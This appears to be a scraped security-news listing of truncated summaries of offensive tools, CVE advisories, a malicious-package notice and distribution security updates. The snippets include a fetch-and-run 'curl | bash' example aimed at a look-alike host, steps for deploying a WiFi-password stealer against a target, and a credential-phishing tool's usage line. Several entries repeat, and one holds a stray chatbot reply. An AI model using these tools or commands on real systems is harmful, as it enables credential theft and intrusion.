TeamFiltration

TeamFiltration TeamFiltration 是一个跨平台框架，用于枚举、喷射、窃取和植入后门的 O365 EntraID 账户。 请参阅 TeamFiltration 维基页面了解 TeamFiltration 的工作原理，以及快速入门指南学习如何快速上手！ 该工具自 2021 年 1 月起在 TrustedSec 内部使用，并在 DefCON30 期间我的演讲 Taking a Dump In The Cloud 中公开发布。 下载 您可以下载适用于 Linux、Windows 和 MacOS 的最新预编译版本...

tirith

tirith 你的浏览器能拦截这个。你的终端不能。 Website | Docs | SKILL.md | Changelog | Releases 独立开源项目，托管由 Vercel 开源计划（2026 年春季批次）提供支持。 你能看出区别吗？ curl -sSL https://install.example-cli.dev | bash safe curl -sSL https://іnstall.example-clі.dev | bash compromised 你做不到。你的终端也做不到。两个 і 字符都是西里尔字母（U+0456），而不是拉丁字母 i。第二个 URL...

agent-vault

HTTP 凭证代理与保险库 一个由 Infisical 开发的开源凭证代理，位于您的智能体和他们调用的 API 之间。 智能体不应该持有凭证。Agent Vault 通过代理访问消除了凭证泄露风险。 新朋友？发布博客文章 拥有 Agent Vault 的完整故事。 文档 | 安装 | 教程 | 视频演示 | Slack 为什么选择 Agent Vault 传统的机密管理是将凭证返回给您的应用和服务。这对 AI 智能体来说会出问题，因为它们可能通过提示注入被诱骗而泄露机密。这就是凭证外泄 问题。 Agent Vault 的创建就是为了解决所有 AI 智能体的凭证外泄问题。与其直接向 AI...

THM---CVE-2024-21413-Moniker-Link-Microsoft-Outlook-

THM---CVE-2024-21413-Moniker-Link-Microsoft-Outlook- 2024年2月13日，微软发布了一个关于Microsoft Outlook的严重安全漏洞，编号为CVE-2024-21413，被称为Moniker Link漏洞。该漏洞允许攻击者绕过Outlook的受保护视图机制。 非常好 👍 以下是完整翻译+渗透测试报告格式 ，专业且清晰的希伯来语。 如您所要求的——仅翻译和格式 。 您将自行添加答案、截图和补充，如需后续帮助，我会协助。 渗透测试报告 CVE-2024-21413 – Moniker Link Microsoft Outlook ...

WifiPassword-Stealer

WifiPassword-Stealer 从目标计算机获取所有已注册的WiFi密码。 安装 （如果你使用的是Python文件） pip install smtplib pip install subprocess pip install glob 使用方法 •使用临时邮箱在"https://mailtrap.io/"上创建一个账户。 •在"main.py"中设置你自己的SMTP用户名和SMTP密码。 •使用此命令创建EXE文件。 python setup.py build 将"build"文件夹发送给你的目标。 •在目标计算机上运行exe文件 •5-10秒后，你将收到目标计算机的数据...

FakeAuth

FakeAuth FakeAuth 是一个通过弹出用户凭据提示框并使用 HTTP 协议进行数据外泄的工具。 灵感来源于以下项目 1. hlldz's PICKL3 https://github.com/hlldz/pickl3 代码可能比较粗糙，还带着一些 bug ; 安装 没有特殊要求 使用方法 v1.01 Usage: FakeAuth.exe Example: FakeAuth.exe 1 1 1 10 windowtitle entercreds 10.0.0.0:80\n hide integer - Hide Process in Taskmgr by WinAPI-Hook...

CVE-2026-86671

In Eclipse Che versions 7.29.0 and later, the GET /api/scm/resolve and POST /api/factory/resolver endpoints pass an attacker-controlled URL to URLFetcher.fetch, which calls new URLurl.openConnection with no scheme or host allow-list and returns the response body to the caller. Any authenticated C...

EUVD-2026-92474

In Eclipse Che versions 7.29.0 and later, the GET /api/scm/resolve and POST /api/factory/resolver endpoints pass an attacker-controlled URL to URLFetcher.fetch, which calls new URLurl.openConnection with no scheme or host allow-list and returns the response body to the caller. Any authenticated C...

CVE-2026-86671

In Eclipse Che versions 7.29.0 and later , the GET /api/scm/resolve and POST /api/factory/resolver endpoints are vulnerable to Server-Side Request Forgery (SSRF) . The application passes attacker-controlled URLs to URLFetcher.fetch() without an allow-list for schemes or hosts. Consequently, an au...

CVE-2023-7231

CVE-2023-7231 – 严重 SSRF → 通过 Audible fetchResource 实现 Memcached/Docker RCE 攻击链 🔥 摘要 此漏洞导致 Audible 的 fetchResource API（位于 .audible.com）存在服务端请求伪造（SSRF） ，使未认证攻击者能够横向渗透至内部基础设施。 通过 SSRF 载荷链式攻击，我们实现了： 🛡 AWS EC2 元数据访问 🐳 对 127.0.0.1:2375 的 Docker 套接字探测 🔐 通过/env、/proc/self/environ 窃取凭证与个人身份信息 ✅...

Malicious code in dedh-devops-automation (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 e623272b4de65cc8af24a44d5405d9f6baa2c42896b50f9b7e0e5f294bfd2722 During installation, the package deploys a rogue AWS Lambda function to collect credentials from Secret Manager as well as collect other data. Data are then...

metasploitable2-exploitation-metasploit

Explotando Metasploitable2 con Metasploit: VSFTPD, Samba y Más Un recorrido práctico de explotación con Metasploit Framework — desde la configuración de la base de datos PostgreSQL y el escaneo con dbnmap, pasando por tres shells de root vía vsftpd, Samba y UnrealIRCd, hasta la exfiltración de...

EXPLOIT-CVE-2026-33634

CVE-2026-33634 — LiteLLM supply chain + SSRF sin apibase PoC / Lab ⚠️ Laboratorio deliberadamente vulnerable, para uso educativo y autorizado. Ejecútalo solo en tu máquina, contra los contenedores de este repositorio. Lee SECURITY-NOTES.md antes de empezar. 🚫 NUNCA ejecutes este lab en una VM de...

openSUSE 16: helm / helm-bash-completion / helm-fish-completion / etc (openSUSE-SU-2026:21983-1)

The remote openSUSE 16 host has packages installed that are affected by multiple vulnerabilities as referenced in the openSUSE-SU-2026:21983-1 advisory. - CVE-2026-33814: golang.org/x/net/http2: infinite loop in HTTP/2 transport when given bad SETTINGSMAXFRAMESIZE bsc1265758. - CVE-2026-35204:...

LiteLLM: Authenticated SSRF and provider-credential exfiltration via unvalidated request-body routing parameters

ImpactAny authenticated LiteLLM proxy user could redirect an outbound provider call to a destination they control and cause the proxy to send its own configured provider credentials to that destination. The proxy's request-body validation was a denylist that did not cover every sensitive paramete...

Rocky Linux 9 [CIQ] Security Update: git-lfs / git-lfs-debuginfo / git-lfs-debugsource (crlsa-2025_0673)

The Rocky Linux 9 host has packages installed that are affected by a vulnerability as referenced in the CIQ crlsa-20250673 advisory. git-lfs: Git LFS permits exfiltration of credentials via crafted HTTP URLs CVE-2024-53263 Tenable has extracted the preceding description block directly from the CI...

Rocky Linux 8 [CIQ] Security Update: git-lfs / git-lfs-debuginfo / git-lfs-debugsource (crlsa-2025_0845)

The Rocky Linux 8 host has packages installed that are affected by a vulnerability as referenced in the CIQ crlsa-20250845 advisory. git-lfs: Git LFS permits exfiltration of credentials via crafted HTTP URLs CVE-2024-53263 Tenable has extracted the preceding description block directly from the CI...

Rocky Linux 8 [CIQ] Security Update: git / git-all / git-core / git-core-debuginfo / git-core-doc / etc Multiple Vulnerabilities (crlsa-2025_11534)

The Rocky Linux 8 host has packages installed that are affected by multiple vulnerabilities as referenced in the CIQ crlsa-202511534 advisory. git: Git does not sanitize URLs when asking for credentials interactively CVE-2024-50349 git: Newline confusion in credential helpers can lead to credenti...

Rocky Linux 9 [CIQ] Security Update: git / git-all / git-core / git-core-debuginfo / git-core-doc / etc Multiple Vulnerabilities (crlsa-2025_11462)

The Rocky Linux 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the CIQ crlsa-202511462 advisory. git: Git does not sanitize URLs when asking for credentials interactively CVE-2024-50349 git: Newline confusion in credential helpers can lead to credenti...

LiteLLM: Authenticated SSRF and provider-credential exfiltration via unvalidated request-body routing parameters

Impact Any authenticated LiteLLM proxy user could redirect an outbound provider call to a destination they control and cause the proxy to send its own configured provider credentials to that destination. The proxy's request-body validation was a denylist that did not cover every sensitive paramet...